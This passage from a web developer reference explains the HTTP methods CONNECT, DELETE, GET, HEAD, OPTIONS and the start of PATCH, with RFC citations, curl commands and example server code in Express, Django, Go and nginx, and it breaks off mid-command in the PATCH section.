# How HTTP Works: full text Every content page from https://howhttpworks.com, as Markdown. Each page starts with its canonical Source URL; cite that URL. --- # HTTP CONNECT Method: Proxy Tunnels Explained > HTTP CONNECT opens a TCP tunnel through a proxy so HTTPS can pass untouched. See the exact request and 200 response, 407 proxy auth, and extended CONNECT. Source: https://howhttpworks.com/methods/connect Last reviewed: 2026-10-04 > **TL;DR:** `CONNECT host:port` tells a proxy to open a TCP connection to that destination and then get out of the way. A `2xx` reply means the tunnel is up and the next bytes are not HTTP anymore, which is how HTTPS works through a corporate or forward proxy. ## What the exchange looks like A browser behind an HTTP proxy that wants `https://example.com/` does not send a GET to the proxy. It asks for a tunnel first: ```http CONNECT example.com:443 HTTP/1.1 Host: example.com:443 Proxy-Authorization: Basic dXNlcjpwYXNz ``` ```http HTTP/1.1 200 Connection Established ``` Everything after that blank line belongs to the client and the origin. The client starts a TLS handshake, the proxy copies bytes without reading them, and the `GET /` is encrypted inside the tunnel. The proxy only ever learned `example.com:443`. Rules worth knowing from [RFC 9110 section 9.3.6](https://www.rfc-editor.org/rfc/rfc9110#section-9.3.6): - The request target is authority-form, `host:port`, never a path or full URL. The port is required. - Any `2xx` means "tunnel established". The reason phrase is free text; Squid and others send `Connection Established`, which is where the common spelling comes from. - A server must not send `Content-Length` or `Transfer-Encoding` in a successful CONNECT response, and a client must ignore them if it sees them. - Anything other than `2xx` is an ordinary HTTP response and the connection is not a tunnel. - CONNECT is neither safe nor idempotent in the RFC 9110 sense, and its responses are not cacheable. ## Proxy authentication and refusals If the proxy requires credentials it answers [407](https://howhttpworks.com/status-codes/407) with a `Proxy-Authenticate` challenge, and the client retries with [Proxy-Authorization](https://howhttpworks.com/headers/proxy-authorization): ```http HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="corp-proxy" Content-Length: 0 ``` A bare `403` on CONNECT is a policy decision. Forward proxies commonly limit which destination ports can be tunnelled, because an open CONNECT to arbitrary ports turns the proxy into a relay to SMTP, SSH or internal services. Squid's stock configuration, for instance, denies CONNECT to ports outside its `SSL_ports` list. If HTTPS to port 443 works but `https://host:8443/` fails with a 403 from the proxy, that rule is the first thing to check. ## Reproduce it curl uses CONNECT automatically when you give it an HTTP proxy and an HTTPS URL: ```bash curl -v -x http://proxy.example.net:3128 https://example.com/ -o /dev/null ``` The abridged verbose output shows the tunnel step before the TLS handshake: ```text * Establish HTTP proxy tunnel to example.com:443 > CONNECT example.com:443 HTTP/1.1 > Host: example.com:443 > Proxy-Connection: Keep-Alive > < HTTP/1.1 200 Connection established < * CONNECT phase completed ``` Add `-U user:pass` (`--proxy-user`) to send `Proxy-Authorization`. Lines marked `>` and `<` before the TLS handshake are proxy traffic; the origin's own headers appear after it. ## HTTP/2 and HTTP/3 Over HTTP/2, CONNECT is one stream rather than the whole connection, so one TCP connection to the proxy can carry many tunnels. [RFC 9113 section 8.5](https://www.rfc-editor.org/rfc/rfc9113#section-8.5) defines the request with `:method` = `CONNECT` and `:authority` = `host:port`; `:scheme` and `:path` are omitted. HTTP/3 uses the same shape (RFC 9114). ### Extended CONNECT: WebSockets over HTTP/2 and HTTP/3 [RFC 8441](https://www.rfc-editor.org/rfc/rfc8441) adds a `:protocol` pseudo-header to CONNECT so a stream can bootstrap another protocol. The server must first advertise `SETTINGS_ENABLE_CONNECT_PROTOCOL` with value 1, and a client must not use `:protocol` until it has seen that setting. A WebSocket handshake then looks like this (HTTP/2 pseudo-headers shown): ```text :method = CONNECT :protocol = websocket :scheme = https :path = /chat :authority = server.example.com sec-websocket-version = 13 origin = https://example.com ``` The server answers `200`, not `101 Switching Protocols`, and the stream then carries WebSocket frames. Note that in extended CONNECT `:scheme` and `:path` are present again. [RFC 9220](https://www.rfc-editor.org/rfc/rfc9220) is the same mechanism for HTTP/3. If a WebSocket works on HTTP/1.1 but breaks after you enable HTTP/2 at a proxy, check whether the proxy advertises extended CONNECT; clients that do not see the setting fall back to the classic [Upgrade](https://howhttpworks.com/headers/upgrade) handshake on an HTTP/1.1 connection. ### CONNECT-UDP and CONNECT-IP (MASQUE) The IETF MASQUE working group builds on extended CONNECT to proxy things other than TCP. [RFC 9298](https://www.rfc-editor.org/rfc/rfc9298) defines `:protocol = connect-udp`, which proxies UDP datagrams (and therefore QUIC and HTTP/3) through an HTTP proxy. RFC 9484 does the same for IP packets with `connect-ip`. Both use the capsule protocol from RFC 9297. These are client-to-proxy protocols; an application server does not need to implement them. ## Browsers and servers - Browser JavaScript cannot send CONNECT. The Fetch Standard treats `CONNECT`, `TRACE` and `TRACK` as forbidden methods. - A normal origin server or reverse proxy has no reason to accept CONNECT. Stock nginx is not a forward proxy and does not implement tunnelling for it; third-party modules such as `ngx_http_proxy_connect_module` exist for that purpose. Squid, Envoy and most cloud forward proxies do support it. - If CONNECT requests appear in your origin's access log, they are usually scanners probing for an open proxy. A `405` or a dropped connection is the right answer. ## Related [OPTIONS](https://howhttpworks.com/methods/options) is the other method that does not fit the read/write mould. For the proxy-side status code see [407 Proxy Authentication Required](https://howhttpworks.com/status-codes/407). --- # HTTP DELETE Method: Remove Resources > Learn how the HTTP DELETE method works, when to use it, and best practices for deleting resources in REST APIs. Source: https://howhttpworks.com/methods/delete Last reviewed: 2026-10-05 > **TL;DR:** DELETE removes the resource at a URL. Return 204 when it's gone, 200 if you send back a body, or 202 if deletion happens later. It's idempotent: a second DELETE leaves the same state, even if it returns 404. The server decides whether that means erasing data or just hiding it. ## What is DELETE? DELETE targets whatever the URL identifies. That might be a database row or a file, but it doesn't have to be. The server can archive the data, keep an audit record, or refuse. [RFC 9110 §9.3.5](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.5) leaves the underlying storage up to the server. ```bash curl -i -X DELETE 'https://api.example.com/documents/notes' ``` A successful deletion usually looks like this (responses on this page are trimmed examples): ```http HTTP/1.1 204 No Content Date: Mon, 05 Oct 2026 12:00:00 GMT ``` A 204 carries no body and no `Content-Length`. ## Idempotency Delete the same resource twice and you end up in the same place: it's gone. The status codes don't have to match. The first call can return 204 and the second 404, and that's still idempotent, because idempotency is about server state, not the response. This assumes nobody recreated the resource between calls. Logging each attempt is fine too. ## Response Codes Return 204 when the resource is gone and there's nothing to say, 200 when you return a body describing the result, or 202 when you've queued the deletion but haven't done it yet. For a resource that's already gone, return 404 (which also covers resources the caller may not see) or 204 so retries look like success. Pick one and document it. If deletion is blocked by dependent data, return 409 Conflict. If the client sent `If-Match` and the version no longer matches, return 412 Precondition Failed. ## Implementation This Express server keeps documents in memory and returns 404 on a repeated delete: ```javascript const express = require('express') const app = express() const documents = new Map([['notes', { title: 'Notes' }]]) app.delete('/documents/:id', (req, res) => { if (!documents.delete(req.params.id)) { return res.status(404).json({ error: 'Not found' }) } res.status(204).end() }) app.listen(3000) ``` Run `curl -i -X DELETE http://localhost:3000/documents/notes` twice and you'll get 204, then 404. It has no authentication, so add the access checks described below before exposing anything private. If your API's contract says 404 means "already deleted", the client can treat it as success: ```javascript async function deleteDocument(id) { const response = await fetch(`/api/documents/${encodeURIComponent(id)}`, { method: 'DELETE' }) if (response.status === 202) return { pending: true } if (response.status === 404 || response.status === 204) return { pending: false } if (!response.ok) throw new Error(`DELETE failed: ${response.status}`) return { pending: false } } ``` Check the contract before reusing that 404 rule elsewhere: some services return 404 to hide resources you can't access. The helper also never parses a 204 as JSON. ## Handling Dependencies When a resource has children, decide whether deleting it rejects, cascades, or detaches them. Enforce that in the database, with a constraint or inside the delete's transaction. A count query followed by a separate delete lets another request insert a child in the gap. For soft deletion in PostgreSQL, add a condition so a retry keeps the original deletion timestamp: ```sql UPDATE posts SET deleted_at = CURRENT_TIMESTAMP WHERE id = $1 AND deleted_at IS NULL; ``` Put the authorization check in the same statement or transaction. For dependencies, a count in application code can't replace a foreign-key constraint, since a concurrent insert can land right after it. Document whether dependencies cause 409, get detached, or are removed with the parent. ## Bulk Delete Sending a JSON array of IDs in a DELETE body is tempting, but a DELETE body has no defined meaning in HTTP and some servers and proxies reject it. Use a POST to a dedicated endpoint instead: ```bash curl -i 'https://api.example.com/document-deletions' \ -H 'Content-Type: application/json' \ --data '{"ids":["notes","draft"]}' ``` That endpoint is your API's design, not an HTTP standard. Give it its own retry policy and check authorization for each document. ## Getting DELETE right Only parse JSON when the status has a body; 204 doesn't. A 202 means deletion is still pending. To delete only the version the client inspected, send the strong ETag from GET in `If-Match`, and check it atomically with the delete. DELETE responses aren't cacheable. A successful DELETE invalidates the cached response for that URL, but not collection pages that list the resource. See [RFC 9111 §4.4](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.4). ## Security Considerations for DELETE Endpoints Check that the caller may delete this specific resource, not just that a session exists. Otherwise anyone who guesses an ID can delete it. Cookie-authenticated endpoints also need CSRF protection; CORS alone won't provide it. With soft deletes, keep the original `deletedAt` on retries, as the SQL above does. Hiding a row also isn't the same as erasing personal data from backups and other stores. ## Related - [Idempotent](https://howhttpworks.com/glossary/idempotent) - [If-Match](https://howhttpworks.com/headers/if-match) - [204 No Content](https://howhttpworks.com/status-codes/204) --- # HTTP GET Method: Complete Guide with Examples > Learn how the HTTP GET method works. Understand when to use GET requests, query parameters, caching, and best practices with real-world examples. Source: https://howhttpworks.com/methods/get Last reviewed: 2026-10-05 > **TL;DR:** GET fetches whatever lives at a URL: a page, an image, a JSON record. It should never change server state, which is why browsers, crawlers, and caches feel free to repeat and prefetch it. Put parameters in the query string, not a body. Responses are cacheable when the status and `Cache-Control` headers allow it. ## What is GET? A GET asks for the current version of whatever is at a URL. It shouldn't change anything. `GET /orders/42/cancel` breaks that contract even if the handler works, because crawlers and link prefetchers follow GET links freely, without asking anyone to approve a write. Requests and responses on this page are examples: ```http GET /products?category=books HTTP/1.1 Host: api.example.com Accept: application/json ``` [RFC 9110 §9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.1) gives a GET body no defined meaning, and the browser Fetch API refuses to send one. For a lookup, query parameters are the portable choice. ## Key Characteristics "Safe" is about what the client asks for, not every side effect. Logging a GET or bumping a usage counter is fine. "Idempotent" is about the intended effect on server state, not identical bytes: a second GET can return a newer price or a different status. GET responses are cacheable, though not every one gets stored. `Cache-Control: no-store` keeps a response out of caches; `no-cache` lets caches store it but makes them revalidate before each reuse. Freshness is measured against the response's age, which includes time spent in upstream caches, not just time since your browser received it. See [HTTP caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Caching). ## Query Parameters Let curl encode values instead of assembling the query by hand: ```bash curl --get 'https://api.example.com/products' \ --data-urlencode 'q=red shoes' \ --data-urlencode 'category=books' ``` The endpoint decides what `q` and `category` mean; HTTP has no standard names for pagination or filters. Keep credentials out of the URL. HTTPS encrypts it in transit, but URLs still land in server logs and browser history. In browser code, build the URL with `URLSearchParams`. Use `append()` when the endpoint expects a repeated key for a multi-value filter: ```javascript const url = new URL('/api/products', location.origin) url.searchParams.set('q', 'red shoes') url.searchParams.set('page', '2') url.searchParams.append('tag', 'books') url.searchParams.append('tag', 'sale') console.log(url.search) ``` Pass raw values to `set()`; it does the percent-encoding, so encoding them yourself first double-encodes them. Likewise, a literal ampersand in a search term goes into the value, where it gets encoded, rather than being concatenated into the query string where it would split the parameter. The [URLSearchParams documentation](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams) covers both behaviors. ## Real-World Examples Look at the headers and body together, then repeat the request with the ETag your server actually returned: ```bash curl -i 'https://api.example.com/products/42' curl -i 'https://api.example.com/products/42' \ -H 'If-None-Match: "catalog-v7"' ``` If that validator still matches, you get: ```http HTTP/1.1 304 Not Modified Date: Mon, 05 Oct 2026 12:00:00 GMT ETag: "catalog-v7" Cache-Control: max-age=60 ``` A 304 has no body; the client reuses the copy it already has. When both validators are sent, `If-None-Match` takes precedence over `If-Modified-Since`. ### Serving a downloadable file In Express, let the file-serving API send the file and its headers together. This runnable example serves one fixed file, so no request parameter can point it at an arbitrary path on disk: ```javascript const express = require('express') const path = require('node:path') const app = express() app.get('/downloads/report', (_req, res, next) => { res.download(path.join(__dirname, 'files/report.pdf'), 'report.pdf', (error) => { if (error) next(error) }) }) app.listen(3000) ``` Create `files/report.pdf` before testing. `res.download()` sends the file with an attachment disposition, so the browser saves it. `res.attachment('report.csv')` only sets headers, and you still have to send the content yourself, for example `res.attachment('report.csv').send('name\nAvery\n')`. Use `res.sendFile()` when you want file serving without forcing attachment. [Express documents these APIs](https://expressjs.com/en/5x/api/response/#res.download), including the need to handle errors after a transfer has partially started. In Django, a view can return a binary file with `FileResponse`: ```python from pathlib import Path from django.conf import settings from django.http import FileResponse from django.views.decorators.http import require_safe @require_safe def download_report(request): report = Path(settings.BASE_DIR) / "files" / "report.pdf" return FileResponse(report.open("rb"), as_attachment=True, filename="report.pdf") ``` Map the view in your URL configuration. Open the file without a `with` block: [FileResponse closes it](https://docs.djangoproject.com/en/5.2/ref/request-response/#fileresponse-objects) once it's served, and a `with` block would close it too early. If the report is private, check authorization before opening it. ## Common Headers `Accept` says which media type the client wants; `Content-Type` says what it got. `ETag` identifies a version for conditional requests. `Vary: Accept-Encoding` tells caches that the response depends on that request header. Bearer tokens go in `Authorization`, not a query parameter. None of these are required on every GET; they're the ones you'll reach for when debugging: | Header | Example value | Debugging use | | --- | --- | --- | | Accept | `application/json` | Compare what the client requested with the returned Content-Type. | | Accept-Language | `en-US,en;q=0.9` | Check whether language negotiation changes the representation. | | Accept-Encoding | `gzip, br` | Compare compressed and uncompressed variants. | | If-None-Match | `"catalog-v7"` | Validate the representation already stored by the client. | | Cache-Control | `no-cache` | Request validation before a stored response is reused. | For a download, `curl -D - -o ./report.pdf URL` writes the body to disk while leaving headers visible. `curl --compressed` asks for a compressed encoding curl supports and decodes what comes back. When the bug is in the GET body, test with GET; HEAD won't show it. ## Response Status Codes A successful retrieval commonly returns [200](https://howhttpworks.com/status-codes/200); a successful byte-range request can return [206](https://howhttpworks.com/status-codes/206). A conditional request can return [304](https://howhttpworks.com/status-codes/304). A [404](https://howhttpworks.com/status-codes/404) sometimes hides a resource the server won't admit exists, so it doesn't mean the URL never existed. ## GET vs POST GET reads. POST asks the server to process what you send, however that resource defines it. POST can carry a large search document that won't fit comfortably in a query string, but its responses are much harder to cache. Neither method encrypts anything; that's HTTPS's job. There's no universal 2,000-character URL limit. Each hop sets its own. For example, nginx requires a request line to fit in one `large_client_header_buffers` buffer and returns 414 otherwise; its [documented default](https://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers) is `4 8k`. Four 8k buffers still mean a single request line has to fit in 8k, not 32k. ## Getting GET right If opening or refreshing a URL changes business state, change the handler or the method. Adding `?action=delete` to the URL doesn't make a mutating GET safe. When a response contains account data, set an explicit cache policy such as `Cache-Control: private` or `no-store` instead of hoping the URL keeps it private. ## JavaScript Examples ```javascript const params = new URLSearchParams({ q: 'red shoes', category: 'books' }) const response = await fetch(`/api/products?${params}`) if (!response.ok) throw new Error(`GET failed: ${response.status}`) const products = await response.json() ``` Fetch resolves normally on HTTP errors like 404, so check `ok` before you parse the body as a success payload. A failed request and an HTTP error are different paths. Keep the status visible in the error you report: ```javascript async function fetchDocument(id) { const response = await fetch(`/api/documents/${encodeURIComponent(id)}`, { headers: { Accept: 'application/json' } }) if (response.status === 404) throw new Error('Document not found') if (!response.ok) throw new Error(`HTTP ${response.status}`) return response.json() } ``` If `json()` throws, check Content-Type and the body in DevTools. A reverse proxy or CDN may return an HTML error page from a URL that normally returns JSON; your API's contract only covers the responses your app generates. ## Try It Yourself Open the [GET playground preset](https://howhttpworks.com/tools/playground?preset=get-one), change the query, and watch the request URL change. When debugging caching on your own server, compare the first response's ETag with the validator sent on the next request. On a conditional GET, check that the 304 comes back with no body. If your code sends its own `If-None-Match` and then calls `json()` on a 304, it will try to parse an empty body instead of using the copy it already has. ## Related Methods - [HEAD](https://howhttpworks.com/methods/head): retrieval metadata without response content. - [POST](https://howhttpworks.com/methods/post): process submitted content. ## Related Concepts - [Cache-Control](https://howhttpworks.com/headers/cache-control) - [If-None-Match](https://howhttpworks.com/headers/if-none-match) - [Vary](https://howhttpworks.com/headers/vary) --- # HTTP HEAD Method > Learn how HTTP HEAD requests retrieve resource metadata (headers) without downloading the body. Useful for checking existence, size, and modification dates. Source: https://howhttpworks.com/methods/head Last reviewed: 2026-10-05 > **TL;DR:** HEAD is GET without the body. The server returns the same status and headers it would for GET, so you can check a file's size, type or ETag, or whether a URL exists, without downloading it. Servers may leave out headers they only know after generating the body, and HEAD often runs the same server code as GET, so it saves bandwidth more than server time. In curl, use `curl -I`, not `-X HEAD`. ## What is HEAD? HEAD gives you the outcome of a GET without the content. Everything else about the request works the same way: authorization and content negotiation still apply, and an endpoint's access checks cover HEAD just as they cover GET. [RFC 9110 §9.3.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.2) says the server should send the same headers it would for GET. It may leave out ones it only learns while generating the content, such as `Content-Length` or `Vary`. ## Key Characteristics HEAD is safe and idempotent. Logging it is fine, and the headers change when the resource does. A HEAD response never has a body, even when it's an error. If it includes `Content-Length`, that's the size the matching GET body would be, not zero. ## How HEAD Works Here's an exchange for a file whose GET body is the five bytes `hello` (examples on this page are trimmed): ```http HEAD /hello.txt HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK Date: Mon, 05 Oct 2026 12:00:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 ETag: "hello-v1" ``` The response ends after the blank line. Some tools print a placeholder like `[No body content]`, but that's the tool talking; nothing like it appears on the wire. ## Real-World Examples Use curl's HEAD mode: ```bash curl --head 'https://example.com/' ``` Skip `curl -X HEAD`. It changes the method name but leaves curl expecting a body, so it hangs waiting for bytes that never come. `--head` (or `-I`) tells curl there's no body. See the [curl manual](https://curl.se/docs/manpage.html#-I). To compare HEAD with GET, request the same representation both ways and save GET's headers separately from its content: ```bash curl --head -H 'Accept-Encoding: identity' 'https://example.com/report.pdf' curl -D ./get-headers.txt -o ./report.pdf \ -H 'Accept-Encoding: identity' 'https://example.com/report.pdf' wc -c ./report.pdf ``` When GET's headers include Content-Length, it should match the downloaded byte count. Send the same `Accept-Encoding`, `Accept` and authorization on both requests; a gzip HEAD and an uncompressed GET will report different sizes, and that's expected. ## When to Use HEAD Reach for HEAD to check a download's size and type, or to test whether a link works. The answer is a snapshot, and the file may change before your GET. A missing `Content-Length` means the size is unknown, not zero. And if you're going to fetch the content right away anyway, a HEAD first just adds a round trip. ## HEAD vs GET HEAD saves sending the body. On the server it often runs the same handler, database query or template as GET, so measure before you count on lower latency. For health checks, a 200 from HEAD only tells you the status; if you need to confirm the body is valid JSON with the expected result, use GET. ## Common Use Cases A conditional HEAD returns 304 when the ETag still matches: ```bash curl --head 'https://api.example.com/catalog' \ -H 'If-None-Match: "catalog-v7"' ``` Use the validator from an earlier response. For cross-origin checks from the browser, CORS has to allow the request, and the server must send `Access-Control-Expose-Headers: ETag` for your JavaScript to read `ETag`. ### Checking download metadata in browser code This checks a size limit before starting a download, treating a missing length as unknown: ```javascript async function inspectDownload(url, maxBytes) { const response = await fetch(url, { method: 'HEAD' }) if (!response.ok) throw new Error(`HEAD failed: ${response.status}`) const rawLength = response.headers.get('Content-Length') const bytes = rawLength === null ? null : Number(rawLength) if (bytes !== null && (!Number.isSafeInteger(bytes) || bytes < 0)) { throw new Error('Invalid Content-Length') } if (bytes !== null && bytes > maxBytes) throw new Error('Download exceeds limit') return { bytes, etag: response.headers.get('ETag') } } ``` Use it for UI feedback; enforce real limits while downloading. The file may change before the GET, and with compression the bytes on the wire differ from the decoded size. To make sure you download the version you inspected, send the ETag in `If-Match` on the GET (if the server supports preconditions). On a 412, refresh the metadata instead of downloading a version you didn't check. For a link checker, look at the status and the final URL. Fetch follows redirects by default, so a redirect to a login page comes back as a 200. Use curl without `-L` to see the first response, then `curl --head -L URL` to see the whole chain. A HEAD-only checker can't check links inside the page either, since it never gets the HTML. ## Common Response Codes [200](https://howhttpworks.com/status-codes/200) means the GET would succeed, and here are its headers. [304](https://howhttpworks.com/status-codes/304) answers a conditional check. [405](https://howhttpworks.com/status-codes/405) means the resource doesn't allow HEAD, and it must include an `Allow` header. A 404 means the resource isn't there, or the server won't say. ## Important Headers in HEAD Responses `Content-Type` describes what GET would return. `Content-Encoding` tells you whether the size is compressed. `ETag` and `Last-Modified` let you validate a cached copy. Expect some endpoints to send only a few of these, and compare ETags only between responses for the same negotiated representation. ## Getting HEAD right Express runs your GET route for HEAD requests unless a HEAD route was registered before it. In this example Express computes the headers from the JSON it would send, then drops the body for HEAD: ```javascript const express = require('express') const app = express() app.get('/metadata', (_req, res) => { res.json({ name: 'catalog' }) }) app.listen(3000) ``` See [Express routing](https://expressjs.com/en/5x/api/application/#app.get). If you set headers yourself, compute the length with `Buffer.byteLength(body, 'utf8')`, since a JavaScript string's `length` counts UTF-16 code units, not bytes. And make sure the headers describe the body you actually send: setting a stored file's size as `Content-Length` and then returning JSON about the file produces a broken response. ### Go file serving Go's `http.ServeContent` handles HEAD, byte ranges and conditional requests for any seekable file. Let it build the headers from the file it serves: ```go package main import ( "log" "net/http" "os" ) func main() { http.HandleFunc("GET /report.pdf", func(w http.ResponseWriter, r *http.Request) { file, err := os.Open("./files/report.pdf") if err != nil { http.NotFound(w, r) return } defer file.Close() info, err := file.Stat() if err != nil { http.Error(w, "Cannot stat report", http.StatusInternalServerError) return } http.ServeContent(w, r, info.Name(), info.ModTime(), file) }) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` A `GET` ServeMux pattern matches HEAD too. [Go's documentation](https://pkg.go.dev/net/http#ServeContent) explains how ServeContent works out the size and handles validators. It won't make up an ETag; set one yourself only if your application can identify that exact representation. ## Try It Yourself Compare HEAD and GET in the [playground](https://howhttpworks.com/tools/playground). On your own server, run both through curl and note which headers only appear once the body has been generated. Try an error path too: `curl --head 'https://example.com/missing-report.pdf'` should get a 404 with no error-page body. Its Content-Type, if present, describes the error page GET would return. ## Related Methods - [GET](https://howhttpworks.com/methods/get) - [OPTIONS](https://howhttpworks.com/methods/options) ## Related Concepts - [ETag](https://howhttpworks.com/headers/etag) - [CORS](https://howhttpworks.com/guides/cors) --- # HTTP OPTIONS Method > Learn how HTTP OPTIONS requests discover server capabilities, supported methods, and handle CORS preflight checks for cross-origin requests. Source: https://howhttpworks.com/methods/options Last reviewed: 2026-10-05 > **TL;DR:** OPTIONS asks about communication options for a resource. Browsers also use it for CORS preflight. `Allow` advertises HTTP methods; `Access-Control-Allow-*` grants browser CORS permission. They are separate mechanisms. ## What is OPTIONS? `OPTIONS /users/42` targets one resource. `OPTIONS *` targets the server in general, rather than every route. [RFC 9110 §9.3.7](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.7) does not define a universal discovery response body. To address the server-wide asterisk form with curl: ```bash curl -i -X OPTIONS --request-target '*' 'https://api.example.com/' ``` Compare it with an OPTIONS request to `/users/42`. A server may return different capability information for those targets. Neither response is a catalog of every application route. ## Key Characteristics OPTIONS is safe and idempotent: it requests information rather than a business-state change. Its response can change when capabilities change. OPTIONS responses are not HTTP-cacheable. Browser preflight permissions are kept in a separate CORS preflight cache. ## How OPTIONS Works ```bash curl -i -X OPTIONS 'https://api.example.com/users/42' ``` Illustrative capability response: ```http HTTP/1.1 204 No Content Date: Mon, 05 Oct 2026 12:00:00 GMT Allow: GET, HEAD, PUT, DELETE, OPTIONS ``` A successful OPTIONS response should advertise applicable capabilities, such as `Allow`, but `Allow` is not mandatory on every OPTIONS response. It is mandatory on a 405 response. ## Real-World Examples Reproduce the shape of a browser preflight with curl: ```bash curl -i -X OPTIONS 'https://api.example.com/users/42' \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: PUT' \ -H 'Access-Control-Request-Headers: content-type, authorization' ``` Curl shows what the server sends; it does not enforce browser CORS rules. ## When to Use OPTIONS Use it to inspect advertised capabilities or investigate a failed preflight. Do not infer user authorization from an allowed-method list: the actual PUT or DELETE still needs access checks. ## CORS Preflight Explained A cross-origin Fetch request using PUT, PATCH, DELETE, JSON content, or `Authorization` generally needs preflight unless a matching preflight permission is already cached. Same-origin requests do not need CORS preflight merely because they use these methods. The preflight carries the intended method and header names, not the Bearer token or cookies. The [Fetch Standard](https://fetch.spec.whatwg.org/#cors-preflight-fetch) requires a successful status for preflight. Authentication middleware that returns 401 before handling OPTIONS prevents the actual request. This cross-origin browser request needs permission for both its method and JSON request header: ```javascript const response = await fetch('https://api.example.com/users/42', { method: 'PUT', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ displayName: 'Avery' }) }) if (!response.ok) throw new Error(`PUT failed: ${response.status}`) ``` In the Network panel, the preflight should advertise PUT in Access-Control-Request-Method and `content-type` in Access-Control-Request-Headers. These are requests for permission, not response grants. Adding Access-Control-Allow-Origin to this JavaScript request cannot grant itself access. ## Common Response Headers `Access-Control-Allow-Origin` grants access to one origin or, for requests whose credentials mode is not `include`, `*`. `Access-Control-Allow-Methods` lists permitted methods; `Access-Control-Allow-Headers` lists permitted request headers. `Authorization` must be named explicitly; the header wildcard does not cover it. ## Response Patterns Illustrative preflight response for a cookie-authenticated client: ```http HTTP/1.1 204 No Content Date: Mon, 05 Oct 2026 12:00:00 GMT Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: PUT Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 600 Vary: Origin ``` Here 600 seconds is a chosen permission lifetime, not a browser default or guarantee. Browsers cap it. The actual response must also carry the required origin and credentials headers. ## Common Response Codes 200 can include a capability document; 204 has no content. A 405 needs `Allow`. For browser preflight, a non-success status such as 401 or 403 fails the check regardless of an otherwise correct allow-origin header. ## Getting OPTIONS right Keep preflight ahead of application authentication, then authenticate and authorize the actual operation. Match the requested origin against an allowlist. If the response changes by origin, include `Vary: Origin` so an HTTP cache does not reuse the wrong variant. ## CORS Configuration Examples This Express route handles preflight for one endpoint. The GET response also grants access: ```javascript const express = require('express') const app = express() app.use('/catalog', (_req, res, next) => { res.set('Access-Control-Allow-Origin', 'https://app.example.com') next() }) app.options('/catalog', (_req, res) => { res.set('Access-Control-Allow-Headers', 'Authorization') res.status(204).end() }) app.get('/catalog', (_req, res) => res.json({ items: [] })) app.listen(3000) ``` This fixed-origin example does not use cookies. A GET preflight caused by Authorization needs the allowed header; GET itself is a CORS-safelisted method. For a larger Express application, the maintained `cors` middleware handles preflight when mounted at application level: ```javascript const cors = require('cors') app.use(cors({ origin: ['https://app.example.com', 'https://admin.example.com'], methods: ['GET', 'HEAD', 'PUT'], allowedHeaders: ['Content-Type', 'Authorization'], credentials: true, maxAge: 600 })) ``` Mount it before the actual routes and their authentication middleware. This is an alternative to the manual handler above. [The middleware documentation](https://expressjs.com/en/resources/middleware/cors/) specifies the option names and application-level OPTIONS handling. The allowed-method list should describe methods your endpoint implements; CORS middleware does not add a PUT implementation. ### nginx in front of one API This fragment belongs inside an nginx server block. It grants one fixed frontend origin, handles OPTIONS locally, and proxies actual requests: ```nginx location /api/ { add_header Access-Control-Allow-Origin "https://app.example.com" always; add_header Access-Control-Allow-Methods "GET, HEAD, PUT" always; add_header Access-Control-Allow-Headers "Content-Type, Authorization" always; add_header Access-Control-Max-Age "600" always; if ($request_method = OPTIONS) { return 204; } proxy_pass http://127.0.0.1:3000; } ``` The [add_header `always` parameter](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) matters for error responses. Keep one layer responsible for CORS headers; an upstream that also adds allow-origin can produce duplicates. No credentials grant is configured here. If cookie credentials are needed, add the appropriate credentials policy to both exchanges. ## Debugging CORS Issues Inspect both OPTIONS and the actual response in DevTools. A valid preflight followed by a response without allow-origin still fails. An absent OPTIONS can mean no preflight was needed or a cached permission was reused. When OPTIONS succeeds but the operation fails, distinguish three cases: no actual request was sent, an actual request returned an HTTP error, or the browser refused to expose its response. In DevTools, look at the method, status, and headers for each entry rather than only the console message. A 405 with `Allow: GET, HEAD` means the endpoint does not allow OPTIONS. Returning that header alone does not make a browser preflight succeed. A 204 with a missing requested header grant can also fail despite its success status. ## Try It Yourself Use the [CORS debugger](https://howhttpworks.com/tools/cors-debugger) to compare GET with and without Authorization. Inspect `Access-Control-Request-Headers: authorization` in the simulated preflight. Removing Authorization from allow-headers should fail that permission check even if allow-origin is correct. ## Related Methods - [GET](https://howhttpworks.com/methods/get) - [PATCH](https://howhttpworks.com/methods/patch) ## Related Concepts - [CORS guide](https://howhttpworks.com/guides/cors) - [Preflight request](https://howhttpworks.com/glossary/preflight-request) --- # HTTP PATCH Method > Learn how HTTP PATCH requests apply partial modifications to resources. Understand JSON Patch, merge patch formats, and when to use PATCH vs PUT. Source: https://howhttpworks.com/methods/patch Last reviewed: 2026-10-05 > **TL;DR:** PATCH updates part of a resource by sending a change document instead of the whole thing. The `Content-Type` decides what the body means: `application/merge-patch+json` sends the fields to change, while `application/json-patch+json` sends a list of operations. PATCH isn't automatically idempotent, and the server has to apply the whole patch or none of it. ## What is PATCH? PATCH is defined in [RFC 5789 §2](https://www.rfc-editor.org/rfc/rfc5789.html#section-2). The difference from PUT is what you send: PUT sends the new state, PATCH sends instructions for getting there. A patch can touch more than one field, and some patch formats can even replace the entire document. ## Key Characteristics PATCH is unsafe, and it's only idempotent if its operations are. Setting a field to a fixed value gives the same result every time; appending to an array adds another element on every retry. A string like `"current + 1"` is just a string unless your API has explicitly defined that syntax as an operation. Atomicity is a requirement, not a nice-to-have. If any operation fails, none of the patch's changes get applied, and no other reader ever sees a half-patched resource. ## How PATCH Works Send the format your server says it supports. For a server that accepts JSON Merge Patch: ```bash curl -i -X PATCH 'https://api.example.com/users/42' \ -H 'Content-Type: application/merge-patch+json' \ -H 'If-Match: "user-v7"' \ --data 